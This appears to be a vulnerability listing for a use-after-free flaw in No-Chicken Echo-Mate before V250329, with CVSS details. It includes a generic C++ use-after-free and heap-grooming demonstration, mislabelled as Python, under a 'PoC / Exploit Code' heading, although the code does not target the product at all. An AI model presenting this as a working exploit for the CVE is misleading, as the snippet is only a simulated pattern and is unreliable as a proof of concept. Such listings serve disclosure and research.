Use After Free vulnerability in No-Chicken Echo-Mate.This issue affects Echo-Mate: before V250329.
CVSS Details
CVSS Score
6.4
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:L/AC:H/PR:H/UI:N/S:U/C:H/I:H/A:H
Configurations (Affected Products)
No configuration data available.
No-Chicken Echo-Mate < V250329
PoC / Exploit Code
⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#include <iostream>
#include <cstdlib>
#include <cstring>
// Simulated vulnerable class structure
class EchoObject {
public:
virtual void process() {
std::cout << "Processing data..." << std::endl;
}
virtual ~EchoObject() {}
};
// Global pointer to simulate the dangling pointer scenario
EchoObject* g_ptr = nullptr;
void trigger_vulnerability() {
// Step 1: Allocate object
g_ptr = new EchoObject();
// Step 2: Free the object (Simulating the bug)
delete g_ptr;
// Note: g_ptr is not set to nullptr, creating a dangling pointer
}
void exploit_uaf() {
// Step 3: Allocate memory to occupy the freed space (Heap grooming)
// In a real exploit, this memory would contain malicious code pointers
void* fake_obj = malloc(sizeof(EchoObject));
memset(fake_obj, 0x41, sizeof(EchoObject));
// Step 4: Use After Free
// The vulnerable code attempts to use g_ptr without checking
if (g_ptr) {
g_ptr->process(); // Crashes or executes code from fake_obj
}
free(fake_obj);
}
int main() {
trigger_vulnerability();
exploit_uaf();
return 0;
}